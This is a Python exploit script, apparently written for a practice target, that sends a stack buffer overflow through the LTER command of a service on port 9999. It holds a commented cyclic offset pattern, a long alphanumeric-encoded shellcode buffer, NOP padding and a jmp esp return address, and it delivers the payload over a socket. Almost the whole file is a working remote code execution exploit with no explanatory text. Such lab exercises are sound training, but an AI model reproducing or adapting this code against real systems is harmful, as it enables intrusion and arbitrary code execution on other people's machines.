exploit_LTER.py

import socket
import sys
import struct
import hexdump
from keystone import *

host = "192.168.112.133"
port = 9999

#pattern = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2D"

buf =  ""
buf += "\x54\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"
buf += "\x49\x49\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30"
buf += "\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42"
buf += "\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
buf += "\x39\x6c\x48\x68\x4f\x72\x53\x30\x55\x50\x45\x50\x45"
buf += "\x30\x6d\x59\x4a\x45\x65\x61\x59\x50\x50\x64\x6e\x6b"
buf += "\x50\x50\x74\x70\x6c\x4b\x73\x62\x56\x6c\x4e\x6b\x71"
buf += "\x42\x52\x34\x4c\x4b\x62\x52\x47\x58\x46\x6f\x4f\x47"
buf += "\x62\x6a\x65\x76\x66\x51\x6b\x4f\x6e\x4c\x37\x4c\x31"
buf += "\x71\x31\x6c\x44\x42\x34\x6c\x45\x70\x5a\x61\x7a\x6f"
buf += "\x44\x4d\x77\x71\x4a\x67\x39\x72\x38\x72\x71\x42\x42"
buf += "\x77\x4c\x4b\x66\x32\x46\x70\x6e\x6b\x51\x5a\x55\x6c"
buf += "\x6c\x4b\x42\x6c\x44\x51\x61\x68\x4d\x33\x73\x78\x57"
buf += "\x71\x48\x51\x62\x71\x4e\x6b\x50\x59\x45\x70\x45\x51"
buf += "\x6e\x33\x4e\x6b\x72\x69\x65\x48\x6a\x43\x35\x6a\x42"
buf += "\x69\x6e\x6b\x50\x34\x4e\x6b\x56\x61\x6e\x36\x44\x71"
buf += "\x59\x6f\x4e\x4c\x5a\x61\x78\x4f\x54\x4d\x75\x51\x38"
buf += "\x47\x30\x38\x79\x70\x31\x65\x58\x76\x54\x43\x43\x4d"
buf += "\x6c\x38\x37\x4b\x43\x4d\x65\x74\x34\x35\x49\x74\x56"
buf += "\x38\x6c\x4b\x33\x68\x61\x34\x37\x71\x39\x43\x50\x66"
buf += "\x6e\x6b\x36\x6c\x70\x4b\x6e\x6b\x63\x68\x55\x4c\x73"
buf += "\x31\x59\x43\x6e\x6b\x54\x44\x4e\x6b\x45\x51\x38\x50"
buf += "\x6d\x59\x43\x74\x76\x44\x47\x54\x53\x6b\x51\x4b\x35"
buf += "\x31\x42\x79\x31\x4a\x36\x31\x79\x6f\x39\x70\x31\x4f"
buf += "\x51\x4f\x53\x6a\x6c\x4b\x32\x32\x78\x6b\x6c\x4d\x73"
buf += "\x6d\x42\x48\x66\x53\x67\x42\x45\x50\x35\x50\x75\x38"
buf += "\x72\x57\x63\x43\x47\x42\x51\x4f\x76\x34\x61\x78\x72"
buf += "\x6c\x70\x77\x66\x46\x57\x77\x4b\x4f\x68\x55\x6e\x58"
buf += "\x6c\x50\x65\x51\x57\x70\x45\x50\x35\x79\x4a\x64\x66"
buf += "\x34\x72\x70\x63\x58\x77\x59\x6d\x50\x72\x4b\x73\x30"
buf += "\x6b\x4f\x4b\x65\x72\x70\x76\x30\x46\x30\x30\x50\x33"
buf += "\x70\x50\x50\x57\x30\x72\x70\x30\x68\x49\x7a\x64\x4f"
buf += "\x4b\x6f\x39\x70\x39\x6f\x4b\x65\x6c\x57\x70\x6a\x33"
buf += "\x35\x52\x48\x4f\x30\x4f\x58\x72\x50\x4f\x76\x43\x58"
buf += "\x33\x32\x73\x30\x72\x31\x43\x6c\x6d\x59\x58\x66\x71"
buf += "\x7a\x42\x30\x52\x76\x36\x37\x33\x58\x4f\x69\x4c\x65"
buf += "\x70\x74\x33\x51\x6b\x4f\x58\x55\x6d\x55\x69\x50\x72"
buf += "\x54\x56\x6c\x4b\x4f\x30\x4e\x55\x58\x53\x45\x7a\x4c"
buf += "\x32\x48\x48\x70\x68\x35\x4f\x52\x70\x56\x39\x6f\x38"
buf += "\x55\x30\x68\x53\x53\x30\x6d\x52\x44\x67\x70\x6c\x49"
buf += "\x58\x63\x63\x67\x50\x57\x71\x47\x76\x51\x6c\x36\x43"
buf += "\x5a\x47\x62\x42\x79\x32\x76\x6d\x32\x69\x6d\x30\x66"
buf += "\x6f\x37\x73\x74\x57\x54\x75\x6c\x37\x71\x36\x61\x4e"
buf += "\x6d\x71\x54\x37\x54\x76\x70\x48\x46\x43\x30\x70\x44"
buf += "\x50\x54\x72\x70\x53\x66\x42\x76\x46\x36\x31\x56\x63"
buf += "\x66\x32\x6e\x31\x46\x36\x36\x76\x33\x70\x56\x70\x68"
buf += "\x42\x59\x5a\x6c\x67\x4f\x4d\x56\x39\x6f\x49\x45\x6b"
buf += "\x39\x6b\x50\x42\x6e\x32\x76\x57\x36\x39\x6f\x76\x50"
buf += "\x73\x58\x46\x68\x6b\x37\x57\x6d\x35\x30\x59\x6f\x68"
buf += "\x55\x6f\x4b\x59\x70\x45\x4d\x45\x7a\x37\x7a\x33\x58"
buf += "\x39\x36\x4c\x55\x6f\x4d\x4f\x6d\x6b\x4f\x79\x45\x75"
buf += "\x6c\x35\x56\x43\x4c\x55\x5a\x6b\x30\x69\x6b\x59\x70"
buf += "\x50\x75\x63\x35\x4d\x6b\x62\x67\x54\x53\x61\x62\x70"
buf += "\x6f\x52\x4a\x73\x30\x50\x53\x49\x6f\x4b\x65\x41\x41"

exploit = "\x90" * 2006
exploit += struct.pack("<L", 0x62501205) #jmp esp
exploit += buf

buffer = "LTER "
buffer += "."   #Let us trigger
buffer += exploit
buffer += "\r\n"

expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
expl.connect((host, port))
expl.recv(1024)
expl.send(buffer)
expl.close()